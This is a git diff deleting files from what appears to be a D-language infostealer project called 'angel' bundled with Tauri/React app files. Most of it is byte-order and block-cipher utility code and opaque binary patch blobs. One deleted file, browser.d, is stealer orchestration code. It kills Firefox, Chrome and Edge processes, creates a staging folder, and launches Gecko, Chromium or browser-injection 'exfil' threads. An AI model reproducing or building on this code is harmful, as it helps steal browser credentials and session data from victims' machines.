z%HO&O;9edR8wt{G=I#<=>Qc?pc`|wLwB^u>Zmgx7VFF;Z zZ86rSQK9p*R;;SOG8S0|;+go!?#5K#rhv(gN4TB%|e`Tqdc, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -Avatar.displayName = AvatarPrimitive.Root.displayName - -const AvatarImage = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -AvatarImage.displayName = AvatarPrimitive.Image.displayName - -const AvatarFallback = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -AvatarFallback.displayName = AvatarPrimitive.Fallback.displayName - -export { Avatar, AvatarImage, AvatarFallback } diff --git a/b2cf74e657328ae3aae298960a1609c11ed288 b/b2cf74e657328ae3aae298960a1609c11ed288 deleted file mode 100644 index f0ce3f14201870852e782d91911d6a79e42059404126bece4343ba0e9aac34f6..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 321 zcmV-H0lxlt0d-PMYr`-M-8sKP`8Q61EYtfNFHG?mR#PuA%a@H*4cR|vU{->sKldYPBpPl|=uj+9E z9JDyGdN`mI^{`sQ#R}7$daYn(p8(sS+RKDmGGpFY%Xg`1A6s_LzO%MT3s*Z;dwCI@ zV5hPOBf-zy=6-$*|B+97L^3v-%^4bzs^5qzIsFAIAn&HrpeJH z#oY~Lb}5N5m)w$E zJuK+IcZS@TS8{qNTA)72B00}*hTl+gspoKYbA9z)R9Oz06kNIJ_1T#yN^KnM;YsJ8 zxYcsa4IE%$bOF(umDZ07ZHm;?M>a({)N9qy+FKN8RSajDOGqyv#lGlMD|Bq*vu4({ z=i`(N*c6Q?j!yb!gj(xI-pamltTG~DWoc7ZiZs)P_r=l12euYV<~p4aq|ue*CdoBL z*=6)|<(yWXeYA)eDZ~o{66xF@_dJ{d5CZ4*|2wUm(Xv^-6iNy07D3M)tP-J_9$!3>_pdj6GXF5V+1h`&*+;1k@o&Iq-PN8>`M`05!~mv^#PbY#P20ipR|ER0eSqzzAlyz&1=cI0CN|Iu6C#Bq*ZiAtAPo3Dv=XZ3tCa za+5K<#gaS3;~Z#L>dlE=RTXoRU@G@gw&a;$vdb>O7=S#C+H&5DrFuZeGl+doRH#sB z#n!mnyHqi1HHXv%;goKKFF!y-9ax=?V&bl0dcv-#(GAIHAz(jGhIO3rrPG-r0z z#CAA`%U2f{KGFlBVz{e}g4kP}=3}XpYn# zhzW3Y7zh!u&S;{0ij4-Rh9j_MwvYF)pfQAG5UNUO z46zIX>8XH2zTe2mXIu|)IAJ0fIEC=&c^Cs-Z}%T|N5hu?dUrIl>%ZuZmy&9#{9<<~ z@n?m+Q&0XOCXKqk`v03I8L;&+K?m~LCYNAw=p@L_I3+ev7~JuUX^R0Z;T3J)j3S>! zh8LWk647yYPbIx%kM8oy6%tvZr+OsPn=qcn3!aOrpcfwvzC_WxrsVWQ7naQ>&nH=B ztTuS!5+>=%lMe(m(yVa1k4Vd&jl*oFx;#{6G@t|O#~w<)R&yl2M_6fm2uyI0E)ClyR~HxE zPJ_X#3n($bX260oOj$v%i@(Q)9w+$H90WhDfBig9b(&%W4z}taQGv>>e_%!ZOpfMz zxOqgeLRHV}F-?QDzKdx}gSXoWoYSm(5w&0OsdK=065smYyY*|+zYFl8`}*uJ%n3vJ DFIKgZ diff --git a/b6d4dff070983e76a132130dc11b0c71544284 b/b6d4dff070983e76a132130dc11b0c71544284 deleted file mode 100644 index 4504ca4b6803033b28b1144b5800c6341edfb99623d50e7566ab5270d35e32a6..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1387 zcmV-x1(f=D0qs~@Pvb@u?lZq)mB64vsJ2M$E^1Ks0UtFdC z)bDMc@E5fh0Tt=YtfXZ5v{dVB{sMY2oKYb^@+*8C@_E8?7%Tc`x-2-$rRKSzk|wl- zYnpzk3Pt_{QecI=hZm_HQL?Bc7zd~r-w3wQUfgh`ugOI4If=3=Wn<_Ips9?`_gnyk zUFv?Gr;qXJNIi6<<>eThMe# z?s&%1s$q zV%d0yc-_K*PdDh3EhkJ!?|@ufYA{X09u^=mm;IAtl5jBw(NElBD(JHR)A4b1X=8DsLo<7bry-g4HT#Lj zPKXoGqseJes00K(j4rS8DP-i1=J(G`e>zQwAV@%DVkP_0= zfFfUDc@gP-C-UP%gx=OTD6{6z#i3N2fr&LVoMFxT!n~3h?nwrrHvvLU5qd(&4Cl-R zP8DBPKt?5QL}Ze|3(<|*Pq8OKw78?R#oBo?Xhv!sE(@ApYL#!7w@J*noI$Us=<&UAp4}6p!;I0@#h7d#ZydwWZLJNJ~0ZKO>4V$YU6G`ODJfZ%7^R~q(kJAcrsT`b7d zawzqo_Fd5U=~}$XX||LsEx%TqEw!e#xMA5{Z-#9frOUQS;G@}^b{B?^A|Cd-aA~k@ zM(!t^_zMQlEm?0f@w!CmP&ae6%PC{P3<>AQZv3_4wtlaDeO(@m92A#m7aCuTLiD(Ow?HEXzzI7&6Lhr5ol_g;encF zAFS%z%F&z_y&l8uQr`~D+17PmGiCLdSt)@deXm*s4`))|S;x zv3nD+#}v=UUA549-oSn5HIpY`Qs^|nIA|Pk0s)`7CVcy+kX3Ng|6V}f3rK%L^Q#%# z$D8yaC8VjQF_*=W{eIN4_xj4dK2F>)!5d)HvKef#Gu1Uh%m8s*-NU0b^K~b89~}dh t?XeM%{Sa!xKN%9WP_UQOZEHhY%dnX`+9V~_c!=o?X%_X!$bf8 diff --git a/bitmanip.d b/bitmanip.d deleted file mode 100644 index 09d67ea..0000000 --- a/bitmanip.d +++ /dev/null @@ -1,416 +0,0 @@ -module angel.utils.cryptography.bitmanip; - -import std.traits; -/// -/// This module contains several methods to convert integer types into byte arrays -/// and vice versa. -/// -/// - -alias rotateLeft rol; -alias rotateRight ror; - -/// rot shift to the left -/// Params: -/// x = integer to shift -/// shiftAmount = number of bits to shift -@safe -@nogc -T rotateLeft(T)(T x, uint shiftAmount) pure nothrow -{ - enum nbits = T.sizeof*8; - //shiftAmount %= nbits; - return cast(T)(x << shiftAmount) | (x >>> (nbits-shiftAmount)); -} - -/// test rotateLeft -unittest { - ubyte b0 = 0b10000001; - ubyte b1 = 0b00000011; - ubyte b2 = 0b00000110; - ubyte b7 = 0b11000000; - - assert(rotateLeft(b0,0) == b0); - assert(rotateLeft(b0,1) == b1); - assert(rotateLeft(b0,2) == b2); - assert(rotateLeft(b0,7) == b7); - assert(rotateLeft(b0,8) == b0); -} - -/// rot shift to the right -/// Params: -/// x = integer to shift -/// shiftAmount = number of bits to shift -@safe -@nogc -T rotateRight(T)(T x, uint shiftAmount) pure nothrow -{ - enum nbits = T.sizeof*8; - //shiftAmount %= nbits; - return cast(T)((x >>> shiftAmount) | (x << (nbits-shiftAmount))); -} - -/// test rotateRight -unittest { - ubyte b0 = 0b00000101; - ubyte b1 = 0b10000010; - ubyte b2 = 0b01000001; - ubyte b7 = 0b00001010; - - assert(rotateRight(b0,0) == b0); - assert(rotateRight(b0,1) == b1); - assert(rotateRight(b0,2) == b2); - assert(rotateRight(b0,7) == b7); - assert(rotateRight(b0,8) == b0); -} - - -/** - Converts big endian bytes to integral of type T - Params: bs = the big endian bytes - Returns: integral of type T - */ -@safe @nogc -T fromBigEndian(T)(in ubyte[] bs) if (isIntegral!T) -in { - assert(bs.length >= T.sizeof, "input buffer too short"); -} -body { - version(BigEndian) { - // data is already in memory as we want - return (cast(const T[])bs)[0]; - }else { - Unqual!T n = 0; - static if (T.sizeof >= short.sizeof) { - n |= bs[0]; - n <<= 8; - n |= bs[1]; - } - static if (T.sizeof >= int.sizeof) { - n <<= 8; - n |= bs[2]; - n <<= 8; - n |= bs[3]; - } - static if (T.sizeof == long.sizeof) { - n <<= 8; - n |= bs[4]; - n <<= 8; - n |= bs[5]; - n <<= 8; - n |= bs[6]; - n <<= 8; - n |= bs[7]; - } - - return n; - } -} - -/** - Converts little endian bytes to integral of type T - Params: bs = the little endian bytes - Returns: integral of type T - */ -@safe @nogc -T fromLittleEndian(T)(in ubyte[] bs) if (isIntegral!T) -in { - assert(bs.length >= T.sizeof, "input buffer too short"); -} -body { - version(LittleEndian) { - // data is already in memory as we want - return (cast(const T[])bs)[0]; - }else { - Unqual!T n = 0; - static if (T.sizeof >= short.sizeof) { - n |= bs[0]; - n |= cast(T)bs[1] << 8; - } - static if (T.sizeof >= int.sizeof) { - n |= cast(T)bs[2] << 16; - n |= cast(T)bs[3] << 24; - } - static if (T.sizeof == long.sizeof) { - n |= cast(T)bs[4] << 32; - n |= cast(T)bs[5] << 40; - n |= cast(T)bs[6] << 48; - n |= cast(T)bs[7] << 56; - } - - return n; - } -} - -/** - Converts big endian bytes to integrals of type T - size of bs has to match the size in bytes of output - Params: - bs = the big endian bytes - output = where the T's get written to - */ -@safe @nogc -void fromBigEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T) -in { - assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array"); -} -body { - version(BigEndian) { - // short cut on big endian systems - const T[] casted = cast(const T[]) bs; - output[] = casted[]; - } else { - // for little endian systems - enum s = T.sizeof; - foreach (i; 0 .. output.length) - { - output[i] = fromBigEndian!T(bs[s*i .. s*i+s]); - } - } -} - -/** - Converts little endian bytes to integrals of type T - size of bs has to match the size in bytes of output - Params: - bs = the little endian bytes - output = where the T's get written to - */ -@safe @nogc -void fromLittleEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T) -in { - assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array"); -} -body { - version(LittleEndian) { - // short cut on little endian systems - const T[] casted = cast(const T[]) bs; - output[] = casted[]; - } else { - // for big endian systems - enum s = T.sizeof; - foreach (i; 0 .. output.length) - { - output[i] = fromLittleEndian!T(bs[s*i .. s*i+s]); - } - } -} - -/** - convert a integral type T into an array of bytes. - Params: - n = the number - output = the buffer to write the bytes to - */ -@safe @nogc -void toBigEndian(T)(in T val, ubyte[] output) if(isIntegral!T) -in { - assert(output.length >= T.sizeof, "output buffer too small"); -} -body { - Unqual!T n = val; - uint off = 0; - - static if(T.sizeof == long.sizeof) { - output[off] = cast (ubyte) (n >>> 56); - ++off; - output[off] = cast (ubyte) (n >>> 48); - ++off; - output[off] = cast (ubyte) (n >>> 40); - ++off; - output[off] = cast (ubyte) (n >>> 32); - ++off; - } - static if(T.sizeof >= int.sizeof) { - output[off] = cast (ubyte) (n >>> 24); - ++off; - output[off] = cast (ubyte) (n >>> 16); - ++off; - } - static if(T.sizeof >= short.sizeof) { - output[off] = cast (ubyte) (n >>> 8); - ++off; - } - output[off] = cast (ubyte) (n); -} - -/** - convert a integral type T into an array of bytes. - Params: - n = the number - output = the buffer to write the bytes to - */ -@safe @nogc -void toLittleEndian(T)(in T val, ubyte[] output) if(isIntegral!T) -in { - assert(output.length >= T.sizeof, "output buffer too small"); -} -body { - Unqual!T n = val; - output[0] = cast (ubyte) (n); - n >>>= 8; - static if(T.sizeof >= short.sizeof) { - output[1] = cast (ubyte) (n); - n >>>= 8; - } - static if(T.sizeof >= int.sizeof) { - output[2] = cast (ubyte) (n); - n >>>= 8; - output[3] = cast (ubyte) (n); - n >>>= 8; - } - static if(T.sizeof == long.sizeof) { - output[4] = cast (ubyte) (n); - n >>>= 8; - output[5] = cast (ubyte) (n); - n >>>= 8; - output[6] = cast (ubyte) (n); - n >>>= 8; - output[7] = cast (ubyte) (n); - } -} - -/** - convert a integral type T[] into an array of bytes. - Params: - ns = the numbers - output = the buffer to write the bytes to - */ -@safe @nogc -void toBigEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T) -in { - assert(output.length >= T.sizeof*ns.length, "output buffer too small"); -} -body { - version(BigEndian) { - // shortcut on BigEndian systems - const ubyte[] casted = cast(const ubyte []) ns; - output[] = casted[]; - }else{ - foreach(i, const T n; ns) { - toBigEndian!T(n, output[T.sizeof * i .. $]); - } - } -} - -/** - convert a integral type T[] into an array of bytes. - Params: - ns the numbers - output the buffer to write the bytes to - */ -@safe @nogc -void toLittleEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T) -in { - assert(output.length >= T.sizeof*ns.length, "output buffer too small"); -} -body { - version(LittleEndian) { - // shortcut on LittleEndian systems - const ubyte[] casted = cast(const ubyte []) ns; - output[] = casted[]; - }else{ - foreach(i, const T n; ns) { - toLittleEndian!T(n, output[T.sizeof * i .. $]); - } - } -} - -ubyte[T.sizeof] toBigEndian(T)(in T n) pure nothrow @nogc - if(isIntegral!T) -{ - ubyte[T.sizeof] bs; - toBigEndian!T(n, bs); - return bs; -} - -ubyte[] toBigEndian(T)(in T[] ns) if(isIntegral!T) -{ - ubyte[] bs = new ubyte[T.sizeof * ns.length]; - toBigEndian!T(ns, bs); - return bs; -} - - -ubyte[T.sizeof] toLittleEndian(T)(in T n) pure nothrow @nogc - if(isIntegral!T) -{ - ubyte[T.sizeof] bs; - toLittleEndian!T(n, bs); - return bs; -} - - -ubyte[] toLittleEndian(T)(in T[] ns) if(isIntegral!T) -{ - ubyte[] bs = new ubyte[T.sizeof * ns.length]; - toLittleEndian!T(ns, bs); - return bs; -} - -unittest { - - // int - assert(toBigEndian(0x01020304) == [0x01,0x02,0x03,0x04], "intToBigEndian failed"); - assert(toLittleEndian(0x01020304) == [0x04,0x03,0x02,0x01], "intToLittleEndian failed"); - - - // long - assert(toBigEndian(0x0102030405060708L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToBigEndian failed"); - assert(toLittleEndian(0x0807060504030201L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToLittleEndian failed"); - - // bigEndian to short, int, long - assert(fromBigEndian!ushort([0x01,0x02]) == 0x0102u); - assert(fromBigEndian!uint([0x01,0x02,0x03,0x04]) == 0x01020304u); - assert(fromBigEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0102030405060708UL); - - // littleEndian to short, int, long - assert(fromLittleEndian!ushort([0x02,0x01]) == 0x0102u); - assert(fromLittleEndian!uint([0x04,0x03,0x02,0x01]) == 0x01020304u); - assert(fromLittleEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0807060504030201UL); - - // bigEndian: convert multiple ints - uint[] output = new uint[2]; - immutable ubyte[] input = [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]; - fromBigEndian(input, output); - assert(output == [0x01020304u, 0x05060708u], "fromBigEndian(ubyte[] input, int[] output) failed"); - - // littleEndian: convert multiple ints - output = new uint[2]; - fromLittleEndian(input, output); - assert(output == [0x04030201u, 0x08070605u], "fromLittleEndian(ubyte[] input, int[] output) failed"); - - - immutable int i = 0xf1f2f3f4; - int iResult; - ubyte[] buf; - - // int to bigEndian - buf = new ubyte[4]; - toBigEndian!int(i, buf); - iResult = fromBigEndian!int(buf); - assert(i == iResult); - - // int to littleEndian - buf = new ubyte[4]; - toLittleEndian!int(i, buf); - iResult = fromLittleEndian!int(buf); - assert(i == iResult); - - - - immutable long l = 0xf1f2f3f4f5f6f7f8; - long lResult; - - // long to bigEndian - buf = new ubyte[8]; - toBigEndian!long(l, buf); - lResult = fromBigEndian!long(buf); - assert(l == lResult); - - // int to littleEndian - buf = new ubyte[8]; - toLittleEndian!long(l, buf); - lResult = fromLittleEndian!long(buf); - assert(l == lResult); -} \ No newline at end of file diff --git a/blockcipher.d b/blockcipher.d deleted file mode 100644 index c0a55ca..0000000 --- a/blockcipher.d +++ /dev/null @@ -1,191 +0,0 @@ -module angel.utils.cryptography.blockcipher; - -/// Use this to check if type is a block cipher. -@safe -template isBlockCipher(T) -{ - enum bool isBlockCipher = - is(T == struct) && - is(typeof( - { - ubyte[0] block; - T bc = T.init; // Can define - string name = T.name; - uint blockSize = T.blockSize; - bc.start(cast(const ubyte[]) block, cast(const ubyte[]) block); // init with secret key and iv - uint len = bc.encrypt(cast (const ubyte[]) block, block); - bc.reset(); - })); -} - -/// OOP API for block ciphers -@safe -public interface IBlockCipher { - - - @safe public: - - /** - * Initialize the cipher. - * - * Params: - * forEncryption = if true the cipher is initialised for - * encryption, if false for decryption. - * userKey = A secret key. - * iv = A nonce. - */ - void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc; - - /** - * Return the name of the algorithm the cipher implements. - * - * Returns: the name of the algorithm the cipher implements. - */ - @property - string name() pure nothrow; - - /** - * Return the block size for this cipher (in bytes). - * - * Returns: the block size for this cipher in bytes. - */ - @property - uint blockSize() pure nothrow @nogc; - - /** - * Process one block of input from the array in and write it to - * the out array. - * - * Params: - * input = the slice containing the input data. - * output = the slice the output data will be copied into. - * Throws: IllegalStateException if the cipher isn't initialised. - * Returns: the number of bytes processed and produced. - */ - @nogc - uint encrypt(in ubyte[] input, ubyte[] output) nothrow; - - @nogc - uint decrypt(in ubyte[] input, ubyte[] output) nothrow; - - /** - * Reset the cipher. After resetting the cipher is in the same state - * as it was after the last init (if there was one). - */ - @nogc - void reset() nothrow; -} - -/// Wraps block ciphers into the OOP API -@safe -public class BlockCipherWrapper(T) if(isBlockCipher!T): IBlockCipher { - - private T cipher; - - @safe public: - - /** - * Initialize the cipher. - * - * Params: - * forEncryption = if true the cipher is initialised for - * encryption, if false for decryption. - * params = the key and other data required by the cipher. - * - * Throws: IllegalArgumentException if the params argument is - * inappropriate. - */ - void start(in ubyte[] key, in ubyte[] iv = null) nothrow { - cipher.start(key, iv); - } - - /** - * Return the name of the algorithm the cipher implements. - * - * Returns: the name of the algorithm the cipher implements. - */ - @property - string name() pure nothrow { - return cipher.name; - } - - /** - * Return the block size for this cipher (in bytes). - * - * Returns: the block size for this cipher in bytes. - */ - @property - uint blockSize() pure nothrow @nogc { - return T.blockSize; - } - - /** - * Process one block of input from the array in and write it to - * the out array. - * - * Params: - * input = the slice containing the input data. - * output = the slice the output data will be copied into. - * Throws: IllegalStateException if the cipher isn't initialised. - * Returns: the number of bytes processed and produced. - */ - uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc { - return cipher.encrypt(input, output); - } - - uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc { - return cipher.decrypt(input, output); - } - - /** - * Reset the cipher. After resetting the cipher is in the same state - * as it was after the last init (if there was one). - */ - void reset() nothrow @nogc { - cipher.reset(); - } -} - -version(unittest) { - - // unittest helper functions - - import std.format: format; - - /// Runs decryption and encryption using BlockCipher bc with given keys, plaintexts, and ciphertexts - /// - /// Params: - /// keys = The encryption/decryption keys. - /// plaintexts = Plaintexts. - /// cipherTexts = Corresponding ciphertexts. - /// ivs = Initialization vectors. - /// - @safe - public void blockCipherTest(IBlockCipher bc, string[] keys, string[] plaintexts, string[] cipherTexts, string[] ivs = null) { - - foreach (uint i, string test_key; keys) - { - ubyte[] buffer = new ubyte[bc.blockSize]; - - - const ubyte[] key = cast(const ubyte[]) test_key; - const (ubyte)[] iv = null; - if(ivs !is null) { - iv = cast(const (ubyte)[]) ivs[i]; - } - - // Encryption - bc.start(key, iv); - bc.encrypt(cast(const ubyte[]) plaintexts[i], buffer); - - assert(buffer == cipherTexts[i], - format("%s failed to encrypt.", bc.name)); - - // Decryption - bc.start(key, iv); - bc.decrypt(cast(const ubyte[]) cipherTexts[i], buffer); - assert(buffer == plaintexts[i], - format("%s failed to decrypt.", bc.name)); - } - } -} \ No newline at end of file diff --git a/browser.d b/browser.d deleted file mode 100644 index d207a7a..0000000 --- a/browser.d +++ /dev/null @@ -1,64 +0,0 @@ -module angel.exfil.browser.browser; - -// Internal imports -import angel.utils.logging; -import angel.utils.utils; -import angel.config : config; -import angel.utils.constants; -import angel.exfil.browser.inject; -import angel.exfil.browser.chromium.chromium; -import angel.exfil.browser.gecko.gecko; -// External imports -import std.path; -import std.stdio; -import std.file; -import core.thread.osthread; - -// TODO fix process killing -// BUG doesn't equally loop through set of procs, just operates on last one - -class Browser { - this() { - Logger.log(LogLevel.Event, "Initializing browser..."); - - string[] procs = ["firefox.exe", "chrome.exe", "msedge.exe"]; - - if (!config.debug_mode) { - Utils.killproc(procs); - } - - string browser_path = buildPath(Constants.workdir, "Browser"); - - if (!exists(browser_path)) { - mkdir(browser_path); - } - - Logger.log(LogLevel.Event, "Initialized browser."); - } - - public void run() { - Thread[] threads; - - if (config.exfil.browser.gecko) { - auto t = new Thread(() => new Gecko().entry()); - threads ~= t; - Logger.log(LogLevel.Event, "Running thread gecko..."); - t.start(); - } - else if (config.exfil.browser.chromium) { - auto t = new Thread(() => new Chromium().entry()); - threads ~= t; - Logger.log(LogLevel.Event, "Running thread chromium..."); - t.start(); - } else if (config.exfil.browser.inject) { - auto t = new Thread(() => new Inject().inject()); - threads ~= t; - Logger.log(LogLevel.Event, "Running thread browser inject..."); - t.start(); - } - - foreach (t; threads) { - joinLowLevelThread(t.id); - } - } -} \ No newline at end of file diff --git a/build.rs b/build.rs deleted file mode 100644 index db06c08..0000000 --- a/build.rs +++ /dev/null @@ -1,3 +0,0 @@ -fn main() { - tauri_build::build() -} diff --git a/bun.lockb b/bun.lockb deleted file mode 100644 index dc83c0e0215b43194988618bafd9fbb96a05563a8b34aaf3fff206a4feb56a0b..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 143574 zcmeFa2RN7AA3y#vl95?$$z0bD!7i{XXwA?sK2dM-MxzV4%OBpuMY?pp(~O z7W+UiVsP<$cssZsa`kZHKjiJ_X&1nMScn)GgTb7pC%$Jf?b4B6blh#{3uoJqv#I#^ z9}SB*mm5k}36yV96N0rc7&Dwzz!0v%Ul@ta2N`24tmcU@n8*-s$JO5t0fFrxZwzuI z0Ked2Fth*<;$tvm03H1Oo%|gzm_ASr>sbPX{9rpz4=B(I@)RIn4G`A%@%9e@9E>di z215$+L7PCZdh zR|ACoafxva<3S$Ak89`JINb>l+S3E~AyP1{@ofM?-tTmhnb-XIPn~=aALwrqKsX<0 zSuhx2B61lFR^VdfOOS`w!f8tiNBIRg-ue`Q<4LV&P;G62H%N&y~>Hy=Q#=jr5q1kw-r^E(9v_}O*rUaQv# z5XQmH-`fi=C=M=m9`2wX4d6i?2Tw@$2!=vr7XMoP2~ZEl zts5ZJeS+`=*UAI@JzVX9O*W8+an%)Ci-#%}sX#f5<5qwq01brK{LKJ5psOM;0EFcZ z9{xc<2D1#>2kj&IS&)bKg+$ll(Tly`3XmL>mji@$b;Q=_rA-E6Qfy5;q+pd#x z7z_g_KLYZw-;MXJ^_L7lIIguoIYd!xyOI7u`V;A2W~?3&7RN!X!IX=`SiFtJG%UtpF%Tg1#~zD%Sd_&gFF-iX=&(qD#W|I= z^7mNu^Y-uv^ub`H_15CT3=qZv2b&+!U5j%IK(GWw<^tpZcpM-LKo@MeDnPI_M6v^f z^9&y#d|nRkU&BU#ke`pup9To+_yUCU&k-OgKpPNKVu1c&Er#)3Fj<>d$a4pIzI+1Z za2}|ct<6_XfY6_<0HNIx(=}`X2<;XDg#Dfb5ZXNq5ZblGq9Q;z-ng(x1`v)f3_vn~ z^9R=EqXzH^u1_UaYxZ*i!g-nk5SB+_@tgJ9H~^axI}bZYrwNdU?RyOn_B)t9t2l1E zR{jPc?5}RSwQ+O~Ak@1H78zK64j_!{5rEL|N8mmjXN6cy2MG1=03EO-Mn(aIe)&6j z9(MA>VBk6{j=^A@oxJ>my&N!(PWFLt<@a2TGSEJ>W@kG<7+3hbwe#@D;A8U_oz~`S zvdh}|N7ic|Fd<-j7y-gKf&CEwArCv}e|yg50v$Mi+}5^hm<5oByl#N7-+s8SwQmq0 z?5BI6oE0GQoDR10@No4Hz{q>9^(#L>7@tT`56&wAfUqA=gZ6U*1Y>p89+=as@m%y? zYX{i-1qAyz!DrcOd!PEQjo(6mEPxk}MGt_`ul-mQ1PI3yB^Kwv++hOw9)Qr_YJkwb zu+56t!gTN2y+#_Z zXYeD$ujnn+l|96_PYK%T+V(EadPeNqwkp$$CDuDdsU&x|aa=VoWdBSWd-&l&yXP(A zI)qVto!9-^-R~UqKdG^NH-{t4MsF7f+vBcyA@3Jgl4!%lxrK9HFpdO%{ZYGj>8X=} zX z@)|p@Zq~jq0;^QH(>Y$J{M@Rnv_>1!k5?+^|0K&j5_9OIfL@?D@zr;4Vzv&6GTu1) zw)j&SM)z^4ao0op)G^N|sb-%Ho|@Q>uY5aew@|yIhu}for(JThwIwYS;x71RBF4`M z3hH?UHGV8w?wBbdW&Ut7;RZj_eqs6S-C@Tl8Rl}S(s0imI*Zt?*^~N4#)MAm@O!P7 zLb?f7D~qx(JSVpDr0>6eCr@UVhIPm}E$w*63ndTVG{1GOJ!Qox zFZiJ1Y&31`WZZxX`R%-bgtk+Tr|%tb?Mt6z+m%eu#AX=37`PN;GIp-)UcC=V>V9g! z&jt>m`tjTmM<>UEWwmHBIt*XMPMZZPZ~5x@;q%Z*p_$p6qxm+E5^@%T9F52tNDWVR z6*HS@5r_2dqG)yC4?bj?Fv(!9t6H$FYk5VvQ;eR9%EOqQ{8hD~YaQbIArYY4-MM@^aJubuwZ;a{`dX(&q+OL5S{BL*jJ z>PfgyT6gP9e}c2&4wt2acHzFaHkh3BF|V22k~T2GZEEmpztv3hyIO|b1eG?ngZaVB z-lEqS71ImOjnPnd#G1Su=LqqpFlST#{W~Ni%iOk zidtJUmAd>hL+nHMB}ymvWwB>hf~U)RdgUKR*lIeEu$?q{^KSWBF}E1$<&$Y$ruYZ8 z)z(BimKLUHn{KOT>o!O>U@LY?Ci|Jt!76hvmVaoX}-XB(>?g?s_w)ah$NzF}hQ zI6d+>$vQK9u2<?Z`)xh3sL;z$)=UuEWbiX9+tH_?GKi`-@Vd%MlX#3>Or3U~ zpAAi3nS(+d+4CDQA1PQaZl%OMxBJq)PEAGA8wS1(s^kkN(#bs9G-ER3%pU zEp{;Cs4acT%O|Nq^^4JjyVWxK3$kb{7keG;HHaQ7FdGY>FX?*IbcOj!-(XNB_2}NJ zt>u+F^%~`l>ot{J)-gMION>HAj3@aUr^~!=h#KZ8!xV=%b#k83faQ>7eMIpG9v^B|w@-#t!S2kB3wfAjZ5pE8M+O zR|<8aZ$T97a>_@x&X%`lQZPN?9@X=(&06V7y02KM=4$09&y_|>t1_Bie7MnYUmM>} zCd#~YMxh5UM;$Dh79w|rWt*HoFEh^WmXH!>PxFI_eAkWzUMg-;ocN*4-eZTc~?~H z4o8pYv$zH+lamV9+Ly~##%G8bT6S0NprNulb0vD8HSWV#UkKl3?2g>S7wcqi_(|y$ zWs*yfsP0IS8RwpT$a4pIzIaa^QK30yj3;Q^FV)_wq-cKU^GO@>%GkHkx)R3I%HE+_ zSG9snUn@3o4CGhjwnPjmC!VZ-zW-v`@QB&aa^do&;)~A?kG03B?!je0Lin&V;He_3@r`Wcb{~Yb)V4~ z8%aqq60Fl7>l_@Oan1Uj?{j%TYS!EGZ_l|gx6tE6(h?bChFbf^J{XRvzxPn(eN=wm zJS4kno_e6zJL0_R>pb3P)~}}obgwa-6bnnZJQH?j0C`T&B;W302xFZYD|E_9@5s2< zuygzJ)lqUf%%SQh6K8$iyB`6O#TiF*Y)c+7M6Mcp;}z7G!6RPMZe;*rL)n_KAj^pniJKY{Tq z=`T2c-OWB1kDYP zBQZeiPXRuRKaxlAckMvx34;R)C2ad)43YBn^8EoH-TvS4ko$<8TY!(uUpRi&n-Kn6 zz}E--KA1+U3DL!7{}qsWUjSbM+kRMi zz3o8wg5VGj_8-ju$^3W6@?rd8+UWXm7x0y^_Wy*x@E`WUbXZqH+AjkRLE-ZU=3(qM z>VF{MBkLbDywUiV0zQmCTsQtC{yza9j$iovf@!1vYk@;u*#7mdTWePS9{(|bkIa7< zLnN+9y?;ZbUM%&*sXsEP2uVfirb@IuOAonIxSo-x?4!Ty7`;TT@84+uXF@ZtQ2 z@rPWb9Q^vrgw$&Qe7Ju^xEme6bl{;Oise%RiyQS{8}Q-!f$)%d{7dJ-O~n5wz(<~6 zPy-o<>*aRqyFatz9is7yT}@j`1mVC z?2TjjFprGkU-6K82%iIVI-LJ7kMto@=U0gEg8^R)%U^Hopf19%1N_aj|2v8g{a>#S zh|U*!LUle_ZgvG4lKeTiFfs9RVMF_2sYeyWVyn{$~I_^dH%OBIQUs z{|%9P-GC4GkKi?IHEneMuz)W?p!;v5@e2Ta6<{CXA%6Xv-$*%9uLAIq^CvimHX1*2 zhPCknbz%RlHzD>703X^%_I*hC?{tuQ)Zoh+kdMsY-|>+92;Tzm;r<iruc z{A*Y~((fDP_W`~Fun%JoH8&dneLL6APuI&s+JpFi0r27aiNqhd|2stZ9a#QG#tzg* z_)Or-9ZJAHlHX|jTmc{UALPLc`mvsb*vkQYWc;nyHq=M>Z?X1~^dM zLyh&WV+j8PmXE|9DPM2-9u>G(cY$gBFh5274 zgip%xxBuW(Xx$0n?+1LvP4r(P;Hv{ZT>r(_Z5`Fl-G7fiNJsV|zmr1zw*q`P|KNK& zQuaG8ypPmP1bivLhkG}qY$N;uz*hi#guBu4%gnj9|HsGLU+*3gv1bMNaQ_bDwqDz? zeF*;|;KTQ?Euah!-dJZs_>F+C1o)6vzX1mjz8Kfq=RX^uu6l^@!vS9(*hl#5Z3Due z0em$SA1Plo@{1oxJ!9^*{U>4{!Cz4S;eP?(!~FxCKk(THaXksK{~hp==O;KyUiTP4 z_*y)FpPxXxa2%{BA^a3x@ZE1z{5INt4n7RVdK3I;z_&&5H|jq=IDE55@i#ht4gtOj zioenJ7Xbc&P4F@N|2%(!>&SW%(tpN)ue%BRb%1ZX2|hd6{OD|g?+y5H|A)kVqwT*B z_^|yj9&qezbo{sruJs?}!?6R`;q@dW{*M43uD>w9k#|spKMVMVSUxO6;_y2k5WcC< 